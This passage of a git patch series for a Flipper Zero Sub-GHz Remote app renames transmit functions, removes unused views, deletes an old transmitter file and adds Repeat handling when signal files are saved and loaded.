SubRemLoadMapStateOK) { + scene_manager_next_scene(app->scene_manager, SubRemSceneRemote); + } else { + // TODO: Map Preset Reset if(!scene_manager_search_and_switch_to_previous_scene( app->scene_manager, SubRemSceneStart)) { scene_manager_stop(app->scene_manager); diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c b/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c index a04399cd3..c24583233 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c @@ -5,12 +5,6 @@ #define TAG "SubRemScenRemote" -// TODO: -// #include -// #include - -// #include - void subrem_scene_remote_callback(SubRemCustomEvent event, void* context) { furi_assert(context); SubGhzRemoteApp* app = context; @@ -59,16 +53,10 @@ static bool subrem_scene_remote_update_data_show(void* context) { void subrem_scene_remote_on_enter(void* context) { SubGhzRemoteApp* app = context; - // TODO: init view data + subrem_scene_remote_update_data_show(app); - if(!subrem_scene_remote_update_data_show(app)) { - // view_dispatcher_send_custom_event( - // app->view_dispatcher, SubGhzCustomEventViewTransmitterError); - } subrem_view_remote_set_callback(app->subrem_remote_view, subrem_scene_remote_callback, app); - // TODO: notifications - // app->state_notifications = SubGhzNotificationStateIDLE; view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDRemote); } @@ -92,10 +80,10 @@ bool subrem_scene_remote_on_event(void* context, SceneManagerEvent event) { event.event == SubRemCustomEventViewRemoteStartRIGHT || event.event == SubRemCustomEventViewRemoteStartOK) { // Start sending sub - subghz_tx_stop_sub(app, true); + subrem_tx_stop_sub(app, true); app->chusen_sub = subrem_scene_remote_event_to_index(event.event); subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateLoading); - if(subghz_tx_start_sub( + if(subrem_tx_start_sub( app, app->subs_preset[app->chusen_sub], subrem_scene_remote_raw_callback_end_tx)) { @@ -105,17 +93,18 @@ bool subrem_scene_remote_on_event(void* context, SceneManagerEvent event) { notification_message(app->notifications, &sequence_blink_start_magenta); } else { subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); + notification_message(app->notifications, &sequence_blink_stop); } return true; } else if(event.event == SubRemCustomEventViewRemoteForcedStop) { - subghz_tx_stop_sub(app, true); + subrem_tx_stop_sub(app, true); subrem_view_remote_set_presed_btn(app->subrem_remote_view, 0); subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); notification_message(app->notifications, &sequence_blink_stop); return true; } else if(event.event == SubRemCustomEventViewRemoteStop) { - if(subghz_tx_stop_sub(app, false)) { + if(subrem_tx_stop_sub(app, false)) { subrem_view_remote_set_presed_btn(app->subrem_remote_view, 0); subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); @@ -132,19 +121,10 @@ bool subrem_scene_remote_on_event(void* context, SceneManagerEvent event) { void subrem_scene_remote_on_exit(void* context) { SubGhzRemoteApp* app = context; - subghz_tx_stop_sub(app, true); + subrem_tx_stop_sub(app, true); subrem_view_remote_set_presed_btn(app->subrem_remote_view, 0); subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); notification_message(app->notifications, &sequence_blink_stop); - - // TODO: notifications and reset KL - - // keeloq_reset_mfname(); - // keeloq_reset_kl_type(); - // keeloq_reset_original_btn(); - // subghz_custom_btns_reset(); - // star_line_reset_mfname(); - // star_line_reset_kl_type(); } diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_start.c b/applications/external/subghz_remote_new/scenes/subrem_scene_start.c index 75328ab8a..962eda54c 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_start.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_start.c @@ -48,7 +48,6 @@ bool subrem_scene_start_on_event(void* context, SceneManagerEvent event) { if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubmenuIndexSubRemOpenMapFile) { - //scene_manager_set_scene_state(app->scene_manager, SubRemSceneStart, event.event); scene_manager_next_scene(app->scene_manager, SubRemSceneOpenMapFile); consumed = true; } diff --git a/applications/external/subghz_remote_new/subghz_remote_app.c b/applications/external/subghz_remote_new/subghz_remote_app.c index ad6fe13fb..0b3f645ab 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app.c +++ b/applications/external/subghz_remote_new/subghz_remote_app.c @@ -34,16 +34,8 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { furi_hal_power_suppress_charge_enter(); - // // Enable 5v power, multiple attempts to avoid issues with power chip protection false triggering - // uint8_t attempts = 0; - // while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - // furi_hal_power_enable_otg(); - // furi_delay_ms(10); - // } - app->file_path = furi_string_alloc(); - furi_string_set(app->file_path, STORAGE_APP_DATA_PATH_PREFIX); - //app->error = SubGhzRemoteErrorNoError; + furi_string_set(app->file_path, SUBREM_APP_FOLDER); // GUI app->gui = furi_record_open(RECORD_GUI); @@ -71,19 +63,6 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { view_dispatcher_add_view( app->view_dispatcher, SubRemViewSubmenu, submenu_get_view(app->submenu)); - // Widget - app->widget = widget_alloc(); - view_dispatcher_add_view(app->view_dispatcher, SubRemViewWidget, widget_get_view(app->widget)); - - // Text Input - app->text_input = text_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, SubRemViewTextInput, text_input_get_view(app->text_input)); - - // Popup - app->popup = popup_alloc(); - view_dispatcher_add_view(app->view_dispatcher, SubRemViewPopup, popup_get_view(app->popup)); - //Dialog app->dialogs = furi_record_open(RECORD_DIALOGS); @@ -118,7 +97,11 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { app->tx_running = false; +#ifdef SUBREM_LIGHT + scene_manager_next_scene(app->scene_manager, SubRemSceneOpenMapFile); +#else scene_manager_next_scene(app->scene_manager, SubRemSceneStart); +#endif return app; } @@ -137,18 +120,6 @@ void subghz_remote_app_free(SubGhzRemoteApp* app) { view_dispatcher_remove_view(app->view_dispatcher, SubRemViewSubmenu); submenu_free(app->submenu); - // Widget - view_dispatcher_remove_view(app->view_dispatcher, SubRemViewWidget); - widget_free(app->widget); - - // TextInput - view_dispatcher_remove_view(app->view_dispatcher, SubRemViewTextInput); - text_input_free(app->text_input); - - // Popup - view_dispatcher_remove_view(app->view_dispatcher, SubRemViewPopup); - popup_free(app->popup); - //Dialog furi_record_close(RECORD_DIALOGS); diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.c b/applications/external/subghz_remote_new/subghz_remote_app_i.c index da3f31717..2437dd2ba 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.c +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.c @@ -2,9 +2,13 @@ #include #include -#include #include +// #include +// #include + +#include + #define TAG "SubGhzRemote" static const char* map_file_labels[SubRemSubKeyNameMaxCount][2] = { @@ -91,7 +95,7 @@ static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data sub_preset = app->subs_preset[i]; if(!flipper_format_read_string( fff_data_file, map_file_labels[i][0], sub_preset->file_path)) { -#if FURO_LOG +#if FURI_DEBUG FURI_LOG_W(TAG, "No file patch for %s", map_file_labels[i][0]); #endif sub_preset->type = SubGhzProtocolTypeUnknown; @@ -99,11 +103,10 @@ static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data // Rewind error } else if(!flipper_format_read_string( fff_data_file, map_file_labels[i][1], sub_preset->label)) { -#if FURO_LOG +#if FURI_DEBUG FURI_LOG_W(TAG, "No Label for %s", map_file_labels[i][0]); #endif - furi_string_set_str(sub_preset->label, - "N/A"); // TODO: Standart name or part of name + path_extract_filename(sub_preset->file_path, sub_preset->label, true); } else { FURI_LOG_I( TAG, @@ -118,8 +121,7 @@ static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data return ret; } -bool subghz_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev_file_name) { - // furi_assert(subghz); +bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev_file_name) { furi_assert(flipper_format); furi_assert(dev_file_name); @@ -135,12 +137,6 @@ bool subghz_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev flipper_format_delete_key(flipper_format, "Repeat"); //flipper_format_delete_key(flipper_format, "Manufacture"); - // Create subghz folder directory if necessary - // if(!storage_simply_mkdir(storage, furi_string_get_cstr(file_dir))) { - // dialog_message_show_storage_error(subghz->dialogs, "Cannot create\nfolder"); - // break; - // } - if(!storage_simply_remove(storage, dev_file_name)) { break; } @@ -155,7 +151,7 @@ bool subghz_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev return saved; } -bool subghz_tx_start_sub( +bool subrem_tx_start_sub( SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset, SubGhzProtocolEncoderRAWCallbackEnd callback) { @@ -163,7 +159,7 @@ bool subghz_tx_start_sub( furi_assert(sub_preset); bool ret = false; - subghz_tx_stop_sub(app, true); + subrem_tx_stop_sub(app, true); if(sub_preset->type == SubGhzProtocolTypeUnknown) { return false; @@ -171,8 +167,12 @@ bool subghz_tx_start_sub( FURI_LOG_I(TAG, "Send %s", furi_string_get_cstr(sub_preset->label)); + // subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK); + // keeloq_reset_original_btn(); + // subghz_custom_btns_reset(); + do { - flipper_format_rewind(sub_preset->fff_data); // FIXME: + flipper_format_rewind(sub_preset->fff_data); // app->transmitter = subghz_transmitter_alloc_init( app->environment, furi_string_get_cstr(sub_preset->protocaol_name)); @@ -215,7 +215,7 @@ bool subghz_tx_start_sub( } } while(false); - app->tx_running = ret; // TODO: + app->tx_running = ret; return ret; } @@ -231,7 +231,7 @@ static void subghz_tx_stop(SubGhzRemoteApp* app) { furi_hal_subghz_idle(); } -bool subghz_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { +bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { furi_assert(app); SubRemSubFilePreset* sub_preset = app->subs_preset[app->chusen_sub]; @@ -241,8 +241,15 @@ bool subghz_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { subghz_tx_stop(app); if(sub_preset->type == SubGhzProtocolTypeDynamic) { - subghz_save_protocol_to_file( + subrem_save_protocol_to_file( sub_preset->fff_data, furi_string_get_cstr(sub_preset->file_path)); + + // keeloq_reset_mfname(); + // keeloq_reset_kl_type(); + // keeloq_reset_original_btn(); + // subghz_custom_btns_reset(); + // star_line_reset_mfname(); + // star_line_reset_kl_type(); } app->tx_running = false; @@ -251,10 +258,6 @@ bool subghz_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { } return false; - - // SubRemSubFilePreset* sub_preset = app->subs_preset[app->chusen_sub]; - - // TODO: need saving logic } static bool subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { @@ -408,7 +411,7 @@ bool subrem_map_file_load(SubGhzRemoteApp* app, const char* file_path) { } } - // TODO: Pop for error or return error type + // TODO: Popup for error or return error type if(!ret) { FURI_LOG_E(TAG, "Broken Map File"); } @@ -421,24 +424,25 @@ bool subrem_map_file_load(SubGhzRemoteApp* app, const char* file_path) { return ret; } -bool subrem_load_from_file(SubGhzRemoteApp* app) { +SubRemLoadMapState subrem_load_from_file(SubGhzRemoteApp* app) { furi_assert(app); FuriString* file_path = furi_string_alloc(); + SubRemLoadMapState ret = SubRemLoadMapStateBack; DialogsFileBrowserOptions browser_options; dialog_file_browser_set_basic_options(&browser_options, SUBREM_APP_EXTENSION, &I_sub1_10px); browser_options.base_path = SUBREM_APP_FOLDER; // Input events and views are managed by file_select - bool res = - dialog_file_browser_show(app->dialogs, app->file_path, app->file_path, &browser_options); - - if(res) { - res = subrem_map_file_load(app, furi_string_get_cstr(app->file_path)); + if(!dialog_file_browser_show(app->dialogs, app->file_path, app->file_path, &browser_options)) { + } else if(subrem_map_file_load(app, furi_string_get_cstr(app->file_path))) { + ret = SubRemLoadMapStateOK; + } else { + ret = SubRemLoadMapStateError; } furi_string_free(file_path); - return res; + return ret; } diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.h b/applications/external/subghz_remote_new/subghz_remote_app_i.h index 8941f1401..0cff3898a 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.h +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.h @@ -1,7 +1,9 @@ #pragma once #include "helpers/subrem_types.h" -#include // TODO: +#include + +// #include #include "views/remote.h" @@ -18,16 +20,16 @@ #include #include +#include + #include #include #include #include -#include // FIXME: - -#define SUBREM_APP_FOLDER ANY_PATH("subghz_remote") -#define SUBGHZ_REMOTE_MAX_LEN_NAME 64 +#define SUBREM_APP_FOLDER EXT_PATH("subghz_remote") +#define SUBREM_MAX_LEN_NAME 64 typedef struct { uint32_t frequency; @@ -54,12 +56,9 @@ typedef struct { SceneManager* scene_manager; NotificationApp* notifications; DialogsApp* dialogs; - Popup* popup; Submenu* submenu; - Widget* widget; - TextInput* text_input; FuriString* file_path; - char file_name_tmp[SUBGHZ_REMOTE_MAX_LEN_NAME]; + char file_name_tmp[SUBREM_MAX_LEN_NAME]; SubRemViewRemote* subrem_remote_view; @@ -77,11 +76,11 @@ typedef struct { // TODO: LoadFileError } SubGhzRemoteApp; -bool subrem_load_from_file(SubGhzRemoteApp* app); +SubRemLoadMapState subrem_load_from_file(SubGhzRemoteApp* app); -bool subghz_tx_start_sub( +bool subrem_tx_start_sub( SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset, SubGhzProtocolEncoderRAWCallbackEnd callback); -bool subghz_tx_stop_sub(SubGhzRemoteApp* app, bool forced); \ No newline at end of file +bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced); \ No newline at end of file diff --git a/applications/external/subghz_remote_new/views/remote.c b/applications/external/subghz_remote_new/views/remote.c index c631c76cc..85c63568e 100644 --- a/applications/external/subghz_remote_new/views/remote.c +++ b/applications/external/subghz_remote_new/views/remote.c @@ -29,9 +29,6 @@ typedef struct { SubRemViewRemoteState state; uint8_t pressed_btn; - // bool show_button; - // FuriString* temp_button_id; - // bool draw_temp_button; } SubRemViewRemoteModel; void subrem_view_remote_set_callback( @@ -93,18 +90,8 @@ void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { canvas_clear(canvas); canvas_set_color(canvas, ColorBlack); - //map found, draw all the things canvas_clear(canvas); - //canvas_set_font(canvas, FontPrimary); - //canvas_draw_str(canvas, 0, 10, "U: "); - //canvas_draw_str(canvas, 0, 20, "L: "); - //canvas_draw_str(canvas, 0, 30, "R: "); - //canvas_draw_str(canvas, 0, 40, "D: "); - //canvas_draw_str(canvas, 0, 50, "Ok: "); - - //PNGs are located in assets/icons/SubGHzRemote before compilation - //Icons for Labels //canvas_draw_icon(canvas, 0, 0, &I_SubGHzRemote_LeftAlignedButtons_9x64); canvas_draw_icon(canvas, 1, 5, &I_ButtonUp_7x4); @@ -121,6 +108,7 @@ void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { canvas_draw_str(canvas, 10, 30, model->left_label); canvas_draw_str(canvas, 10, 40, model->right_label); canvas_draw_str(canvas, 10, 50, model->ok_label); + // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); // canvas_draw_str(canvas, 10, 10, furi_string_get_cstr(model->up_label)); @@ -130,9 +118,6 @@ void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { canvas_draw_str_aligned(canvas, 11, 62, AlignLeft, AlignBottom, "Hold=Exit."); //Status text and indicator - - //canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, model->state); - canvas_draw_icon(canvas, 113, 15, &I_Pin_cell_13x13); if(model->state == SubRemViewRemoteStateIdle) { @@ -146,7 +131,9 @@ void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, "Load"); break; default: - canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, "Idle"); +#if FURI_DEBUG + canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, "Wrong_state"); +#endif break; } @@ -179,7 +166,6 @@ bool subrem_view_remote_input(InputEvent* event, void* context) { SubRemViewRemote* subrem_view_remote = context; if(event->key == InputKeyBack && event->type == InputTypeLong) { - // TODO: remove reset Debug with_view_model( subrem_view_remote->view, SubRemViewRemoteModel * model, @@ -189,12 +175,6 @@ bool subrem_view_remote_input(InputEvent* event, void* context) { strcpy(model->left_label, "N/A"); strcpy(model->right_label, "N/A"); strcpy(model->ok_label, "N/A"); - - // furi_string_reset(model->up_label); - // furi_string_reset(model->down_label); - // furi_string_reset(model->left_label); - // furi_string_reset(model->right_label); - // furi_string_reset(model->ok_label); }, false); subrem_view_remote->callback(SubRemCustomEventViewRemoteBack, subrem_view_remote->context); @@ -280,11 +260,11 @@ SubRemViewRemote* subrem_view_remote_alloc() { strcpy(model->right_label, "N/A"); strcpy(model->ok_label, "N/A"); - // model->up_label = furi_string_alloc(); - // model->down_label = furi_string_alloc(); - // model->left_label = furi_string_alloc(); - // model->right_label = furi_string_alloc(); - // model->ok_label = furi_string_alloc(); + // model->up_label = furi_string_alloc_set_str("N/A"); + // model->down_label = furi_string_alloc_set_str("N/A"); + // model->left_label = furi_string_alloc_set_str("N/A"); + // model->right_label = furi_string_alloc_set_str("N/A"); + // model->ok_label = furi_string_alloc_set_str("N/A"); model->pressed_btn = 0; }, diff --git a/applications/external/subghz_remote_new/views/transmitter_old.txt b/applications/external/subghz_remote_new/views/transmitter_old.txt deleted file mode 100644 index ea2dc2f62..000000000 --- a/applications/external/subghz_remote_new/views/transmitter_old.txt +++ /dev/null @@ -1,317 +0,0 @@ -#include "transmitter.h" -#include "../subghz_remote_app_i.h" - -#include -#include - -#include - -struct SubGhzRemoteViewRemote { - View* view; - SubGhzRemoteViewRemoteCallback callback; - void* context; -}; - -typedef struct { - FuriString* frequency_str; - FuriString* preset_str; - FuriString* key_str; - // bool show_button; - // FuriString* temp_button_id; - // bool draw_temp_button; -} SubGhzRemoteViewRemoteModel; - -void subghz_view_transmitter_set_callback( - SubGhzRemoteViewRemote* subghz_transmitter, - SubGhzRemoteViewRemoteCallback callback, - void* context) { - furi_assert(subghz_transmitter); - - subghz_transmitter->callback = callback; - subghz_transmitter->context = context; -} - -void subghz_view_transmitter_add_data_to_show( - SubGhzRemoteViewRemote* subghz_transmitter, - const char* key_str, - const char* frequency_str, - const char* preset_str, - bool show_button) { - furi_assert(subghz_transmitter); - with_view_model( - subghz_transmitter->view, - SubGhzRemoteViewRemoteModel * model, - { - furi_string_set(model->key_str, key_str); - furi_string_set(model->frequency_str, frequency_str); - furi_string_set(model->preset_str, preset_str); - model->show_button = show_button; - }, - true); -} - -static void subghz_view_transmitter_button_right(Canvas* canvas, const char* str) { - const uint8_t button_height = 12; - const uint8_t vertical_offset = 3; - const uint8_t horizontal_offset = 1; - const uint8_t string_width = canvas_string_width(canvas, str); - const Icon* icon = &I_ButtonCenter_7x7; - const uint8_t icon_offset = 3; - const uint8_t icon_width_with_offset = icon_get_width(icon) + icon_offset; - const uint8_t button_width = string_width + horizontal_offset * 2 + icon_width_with_offset; - - const uint8_t x = (canvas_width(canvas) - button_width) / 2 + 40; - const uint8_t y = canvas_height(canvas); - - canvas_draw_box(canvas, x, y - button_height, button_width, button_height); - - canvas_draw_line(canvas, x - 1, y, x - 1, y - button_height + 0); - canvas_draw_line(canvas, x - 2, y, x - 2, y - button_height + 1); - canvas_draw_line(canvas, x - 3, y, x - 3, y - button_height + 2); - - canvas_draw_line(canvas, x + button_width + 0, y, x + button_width + 0, y - button_height + 0); - canvas_draw_line(canvas, x + button_width + 1, y, x + button_width + 1, y - button_height + 1); - canvas_draw_line(canvas, x + button_width + 2, y, x + button_width + 2, y - button_height + 2); - - canvas_invert_color(canvas); - canvas_draw_icon( - canvas, - x + horizontal_offset, - y - button_height + vertical_offset - 1, - &I_ButtonCenter_7x7); - canvas_draw_str( - canvas, x + horizontal_offset + icon_width_with_offset, y - vertical_offset, str); - canvas_invert_color(canvas); -} - -void subghz_view_transmitter_draw(Canvas* canvas, SubGhzRemoteViewRemoteModel* model) { - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontSecondary); - elements_multiline_text_aligned( - canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->key_str)); - canvas_draw_str(canvas, 78, 7, furi_string_get_cstr(model->frequency_str)); - canvas_draw_str(canvas, 113, 7, furi_string_get_cstr(model->preset_str)); - - // if(model->draw_temp_button) { - // canvas_set_font(canvas, FontBatteryPercent); - // canvas_draw_str(canvas, 117, 40, furi_string_get_cstr(model->temp_button_id)); - // canvas_set_font(canvas, FontSecondary); - // } - - // if(model->show_button) { - // canvas_draw_str(canvas, 58, 62, furi_hal_subghz_get_radio_type() ? "R: Ext" : "R: Int"); - // subghz_view_transmitter_button_right(canvas, "Send"); - // } -} - -bool subghz_view_transmitter_input(InputEvent* event, void* context) { - furi_assert(context); - SubGhzRemoteViewRemote* subghz_transmitter = context; - bool can_be_sent = false; - - if(event->key == InputKeyBack && event->type == InputTypeShort) { - with_view_model( - subghz_transmitter->view, - SubGhzRemoteViewRemoteModel * model, - { - furi_string_reset(model->frequency_str); - furi_string_reset(model->preset_str); - furi_string_reset(model->key_str); - furi_string_reset(model->temp_button_id); - model->show_button = false; - model->draw_temp_button = false; - }, - false); - return false; - } - - with_view_model( - subghz_transmitter->view, - SubGhzRemoteViewRemoteModel * model, - { - if(model->show_button) { - can_be_sent = true; - } - }, - true); - - if(can_be_sent && event->key == InputKeyOk && event->type == InputTypePress) { - subghz_custom_btn_set(0); - with_view_model( - subghz_transmitter->view, - SubGhzRemoteViewRemoteModel * model, - { - furi_string_reset(model->temp_button_id); - model->draw_temp_button = false; - }, - true); - subghz_transmitter->callback( - SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context); - return true; - } else if(can_be_sent && event->key == InputKeyOk && event->type == InputTypeRelease) { - subghz_transmitter->callback( - SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context); - return true; - } - - // Temp Buttons (UP) - if(can_be_sent && event->key == InputKeyUp && event->type == InputTypePress) { - subghz_custom_btn_set(1); - with_view_model( - subghz_transmitter->view, - SubGhzRemoteViewRemoteModel * model, - { - furi_string_reset(model->temp_button_id); - if(subghz_custom_btn_get_original() != 0) { - if(subghz_custom_btn_get() == 1) { - furi_string_printf( - model->temp_button_id, "%01X", subghz_custom_btn_get_original()); - model->draw_temp_button = true; - } - } - }, - true); - subghz_transmitter->callback( - SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context); - return true; - } else if(can_be_sent && event->key == InputKeyUp && event->type == InputTypeRelease) { - subghz_transmitter->callback( - SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context); - return true; - } - // Down - if(can_be_sent && event->key == InputKeyDown && event->type == InputTypePress) { - subghz_custom_btn_set(2); - with_view_model( - subghz_transmitter->view, - SubGhzRemoteViewRemoteModel * model, - { - furi_string_reset(model->temp_button_id); - if(subghz_custom_btn_get_original() != 0) { - if(subghz_custom_btn_get() == 2) { - furi_string_printf( - model->temp_button_id, "%01X", subghz_custom_btn_get_original()); - model->draw_temp_button = true; - } - } - }, - true); - subghz_transmitter->callback( - SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context); - return true; - } else if(can_be_sent && event->key == InputKeyDown && event->type == InputTypeRelease) { - subghz_transmitter->callback( - SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context); - return true; - } - // Left - if(can_be_sent && event->key == InputKeyLeft && event->type == InputTypePress) { - subghz_custom_btn_set(3); - with_view_model( - subghz_transmitter->view, - SubGhzRemoteViewRemoteModel * model, - { - furi_string_reset(model->temp_button_id); - if(subghz_custom_btn_get_original() != 0) { - if(subghz_custom_btn_get() == 3) { - furi_string_printf( - model->temp_button_id, "%01X", subghz_custom_btn_get_original()); - model->draw_temp_button = true; - } - } - }, - true); - subghz_transmitter->callback( - SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context); - return true; - } else if(can_be_sent && event->key == InputKeyLeft && event->type == InputTypeRelease) { - subghz_transmitter->callback( - SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context); - return true; - } - // Right - if(can_be_sent && event->key == InputKeyRight && event->type == InputTypePress) { - subghz_custom_btn_set(4); - with_view_model( - subghz_transmitter->view, - SubGhzRemoteViewRemoteModel * model, - { - furi_string_reset(model->temp_button_id); - if(subghz_custom_btn_get_original() != 0) { - if(subghz_custom_btn_get() == 4) { - furi_string_printf( - model->temp_button_id, "%01X", subghz_custom_btn_get_original()); - model->draw_temp_button = true; - } - } - }, - true); - subghz_transmitter->callback( - SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context); - return true; - } else if(can_be_sent && event->key == InputKeyRight && event->type == InputTypeRelease) { - subghz_transmitter->callback( - SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context); - return true; - } - - return true; -} - -void subghz_view_transmitter_enter(void* context) { - furi_assert(context); -} - -void subghz_view_transmitter_exit(void* context) { - furi_assert(context); -} - -SubGhzRemoteViewRemote* subghz_view_transmitter_alloc() { - SubGhzRemoteViewRemote* subghz_transmitter = malloc(sizeof(SubGhzRemoteViewRemote)); - - // View allocation and configuration - subghz_transmitter->view = view_alloc(); - view_allocate_model( - subghz_transmitter->view, ViewModelTypeLocking, sizeof(SubGhzRemoteViewRemoteModel)); - view_set_context(subghz_transmitter->view, subghz_transmitter); - view_set_draw_callback( - subghz_transmitter->view, (ViewDrawCallback)subghz_view_transmitter_draw); - view_set_input_callback(subghz_transmitter->view, subghz_view_transmitter_input); - view_set_enter_callback(subghz_transmitter->view, subghz_view_transmitter_enter); - view_set_exit_callback(subghz_transmitter->view, subghz_view_transmitter_exit); - - with_view_model( - subghz_transmitter->view, - SubGhzRemoteViewRemoteModel * model, - { - model->frequency_str = furi_string_alloc(); - model->preset_str = furi_string_alloc(); - model->key_str = furi_string_alloc(); - model->temp_button_id = furi_string_alloc(); - }, - true); - return subghz_transmitter; -} - -void subghz_view_transmitter_free(SubGhzRemoteViewRemote* subghz_transmitter) { - furi_assert(subghz_transmitter); - - with_view_model( - subghz_transmitter->view, - SubGhzRemoteViewRemoteModel * model, - { - furi_string_free(model->frequency_str); - furi_string_free(model->preset_str); - furi_string_free(model->key_str); - furi_string_free(model->temp_button_id); - }, - true); - view_free(subghz_transmitter->view); - free(subghz_transmitter); -} - -View* subghz_view_transmitter_get_view(SubGhzRemoteViewRemote* subghz_transmitter) { - furi_assert(subghz_transmitter); - return subghz_transmitter->view; -} From 1f97e9be343724c0100c0e9bdd60461b88913d33 Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Fri, 19 May 2023 21:21:36 +0300 Subject: [PATCH 010/100] fix repeat --- .../subghz_remote_new/application.fam | 2 +- .../subghz_remote_new/subghz_remote_app_i.c | 20 ++++++++++++++++--- 2 files changed, 18 insertions(+), 4 deletions(-) diff --git a/applications/external/subghz_remote_new/application.fam b/applications/external/subghz_remote_new/application.fam index 09eb7e64e..f2cdd25b0 100644 --- a/applications/external/subghz_remote_new/application.fam +++ b/applications/external/subghz_remote_new/application.fam @@ -1,7 +1,7 @@ App( appid="subrem_remote_fap", name="Sub-GHz Remote", - apptype=FlipperAppType.APP, + apptype=FlipperAppType.EXTERNAL, entry_point="subghz_remote_app", cdefines=[ "APP_SUBGHZREMOTE", diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.c b/applications/external/subghz_remote_new/subghz_remote_app_i.c index 2437dd2ba..18ebb05f6 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.c +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.c @@ -129,23 +129,31 @@ bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev Stream* flipper_format_stream = flipper_format_get_raw_stream(flipper_format); bool saved = false; + uint32_t repeat = 200; FuriString* file_dir = furi_string_alloc(); path_extract_dirname(dev_file_name, file_dir); do { - //removing additional fields + // removing additional fields flipper_format_delete_key(flipper_format, "Repeat"); - //flipper_format_delete_key(flipper_format, "Manufacture"); + // flipper_format_delete_key(flipper_format, "Manufacture"); if(!storage_simply_remove(storage, dev_file_name)) { break; } + //ToDo check Write stream_seek(flipper_format_stream, 0, StreamOffsetFromStart); stream_save_to_file(flipper_format_stream, storage, dev_file_name, FSOM_CREATE_ALWAYS); + if(!flipper_format_insert_or_update_uint32(flipper_format, "Repeat", &repeat, 1)) { + FURI_LOG_E(TAG, "Unable Repeat"); + break; + } + saved = true; } while(0); + furi_string_free(file_dir); furi_record_close(RECORD_STORAGE); return saved; @@ -267,7 +275,7 @@ static bool subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_dat bool ret = false; bool sub_preset_loaded = false; SubRemSubFilePreset* sub_preset; - + uint32_t repeat = 200; for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { sub_preset = app->subs_preset[i]; sub_preset_loaded = false; @@ -275,6 +283,7 @@ static bool subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_dat // FURI_LOG_I(TAG, "Empty file path"); continue; } + repeat = 200; do { if(!flipper_format_file_open_existing( fff_data_file, furi_string_get_cstr(sub_preset->file_path))) { @@ -361,6 +370,11 @@ static bool subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_dat FURI_LOG_E(TAG, "Protocol does not support transmission"); } + if(!flipper_format_insert_or_update_uint32(fff_data, "Repeat", &repeat, 1)) { + 